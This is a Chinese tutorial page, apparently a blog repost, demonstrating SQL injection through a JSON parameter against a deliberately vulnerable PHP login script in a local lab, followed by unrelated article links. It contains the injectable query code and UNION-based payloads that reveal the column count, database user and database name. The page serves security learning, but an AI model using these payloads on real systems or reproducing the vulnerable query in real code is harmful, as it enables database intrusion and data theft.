热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

linuxjson写sql注入,sql注入之json注入(php代码)

环境phpstudyphp服务端代码security数据库中的users表中的username,password字段用户名adminJSON服务端代码大家实际测试中注

环境

phpstudy

php服务端代码

security数据库中的users表中的username,password字段

用户名admin

JSON服务端代码

大家实际测试中注意修改相关的数据库名、表名、字段名等

// php防止中文乱码

header(‘content-type:text/html;charset=utf-8‘);

if(isset($_POST[‘json‘])){

$json_str=$_POST[‘json‘];

$json=json_decode($json_str);

if(!$json){

die(‘JSON文档格式有误,请检查‘);

}

$username=$json->username;

//$password=$json->password;

// 建立mysql连接,root/root连接本地数据库

$mysqli=new mysqli();

$mysqli->connect(‘localhost‘,‘root‘,‘root‘);

if($mysqli->connect_errno){

die(‘数据库连接失败:‘.$mysqli->connect_error);

}

// 要操作的数据库名,我的数据库是security

$mysqli->select_db(‘security‘);

if($mysqli->errno){

dir(‘打开数据库失败:‘.$mysqli->error);

}

// 数据库编码格式

$mysqli->set_charset(‘utf-8‘);

// 从users表中查询username,password字段

$sql="SELECT username,password FROM users WHERE username=‘{$username}‘";

$result=$mysqli->query($sql);

if(!$result){

die(‘执行SQL语句失败:‘.$mysqli->error);

}else if($result->num_rows==0){

die(‘查询结果为空‘);

}else {

$array1=$result->fetch_all(MYSQLI_ASSOC);

echo "用户名:{$array1[0][‘username‘]},密码:{$array1[0][‘password‘]}";

}

// 释放资源

$result->free();

$mysqli->close();

}

?>

进行注入

1、按照特定的数据格式查询admin用户密码

json={"username":"admin"}

20210507004829742069.png

2、查看源代码,构造payload

代码中的sql语句是这个样子的,构造payload进行注入

20210507004830038944.png

3、判断当前数据库有多少列

2正常,3报错,判断当前数据库有2列

json={"username":"admin‘ order by 3#"}

20210507004830101444.png

4、注入带出来数据

json={"username":"admin‘ and 1=2 union select 1,2#"}

20210507004830226444.png

json={"username":"admin‘ and 1=2 union select user(),database()#"}

20210507004830320194.png

接下来就是注入操作了,在此不做后续注入...

参考博客

原文:https://www.cnblogs.com/shley/p/14737017.html



推荐阅读
  • 代码如下:(把数据以表格形式输出本人小白哪位大侠能把完整的代码写出来呀最好是可以添加、删除和显示表格的)<%@pagecontentTypetexthtmlpageEn ... [详细]
  • 这篇文章主要介绍“大文本数据怎么导入导出到数据库”,在日常操作中,相信很多人在大文本数据怎么导入导出到数据库问题上存在疑惑,小编查阅了各 ... [详细]
  • 如何在php文件中添加图片?
    本文详细解答了如何在php文件中添加图片的问题,包括插入图片的代码、使用PHPword在载入模板中插入图片的方法,以及使用gd库生成不同类型的图像文件的示例。同时还介绍了如何生成一个正方形文件的步骤。希望对大家有所帮助。 ... [详细]
  • 本文介绍了如何使用PHP代码将表格导出为UTF8格式的Excel文件。首先,需要连接到数据库并获取表格的列名。然后,设置文件名和文件指针,并将内容写入文件。最后,设置响应头部,将文件作为附件下载。 ... [详细]
  • 一个不错的JDBC连接池教程(带具体例子)
    1.前言数据库应用,在许多软件系统中经常用到,是开发中大型系统不可缺少的辅助。但如果对数据库资源没有很好地管理(如:没有及时回收数据库的游 ... [详细]
  • 第一部分:TSqlTop有两种用法1,限制查询结果集返回的行数或总行数的百分比。当将TOP与ORDERBY子句结合使用时,结果集限制为前N个已排序行;否则,以未定义的顺序返回前N个 ... [详细]
  • 子元素过滤器在页面设计过程中需要突出某些行时,可以通过基本过滤选择器中的:eq()来实现表单中行的凸显,但不能同时让多个表具有相同的效果。在jQuer ... [详细]
  • mysql相关操作_MySQL之记录相关操作
    一介绍MySQL数据操作:DML在MySQL管理软件中,可以通过SQL语句中的DML语言来实现数据的操作,包括使用INSERT实现数据的插 ... [详细]
  • 结束jquery时间不长,写代码感觉很生,而且敢接写起来很费劲做点简单的总结。首先主要要先引入.juery.js文件第二一些js插件文件也要在jquer ... [详细]
  • ubuntu用sqoop将数据从hive导入mysql时,命令: ... [详细]
  • 如何在php中将mysql查询结果赋值给变量
    本文介绍了在php中将mysql查询结果赋值给变量的方法,包括从mysql表中查询count(学号)并赋值给一个变量,以及如何将sql中查询单条结果赋值给php页面的一个变量。同时还讨论了php调用mysql查询结果到变量的方法,并提供了示例代码。 ... [详细]
  • Windows7 64位系统安装PLSQL Developer的步骤和注意事项
    本文介绍了在Windows7 64位系统上安装PLSQL Developer的步骤和注意事项。首先下载并安装PLSQL Developer,注意不要安装在默认目录下。然后下载Windows 32位的oracle instant client,并解压到指定路径。最后,按照自己的喜好对解压后的文件进行命名和压缩。 ... [详细]
  • 延迟注入工具(python)的SQL脚本
    本文介绍了一个延迟注入工具(python)的SQL脚本,包括使用urllib2、time、socket、threading、requests等模块实现延迟注入的方法。该工具可以通过构造特定的URL来进行注入测试,并通过延迟时间来判断注入是否成功。 ... [详细]
  • 本文介绍了在MacOS系统上安装MySQL的步骤,并详细说明了如何设置MySQL服务的开机启动和如何修改MySQL的密码。通过下载MySQL的macos版本并按照提示一步一步安装,在系统偏好设置中可以找到MySQL的图标进行设置。同时,还介绍了通过终端命令来修改MySQL的密码的具体操作步骤。 ... [详细]
  • ORACLE常用SQL技巧
    2019独角兽企业重金招聘Python工程师标准ORACLE常用SQL技巧1.SELECT子句中避免使用“*”当你想在SELECT子句中列出所有的COLUMN时,使用动态SQ ... [详细]
author-avatar
手机用户2502889621
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有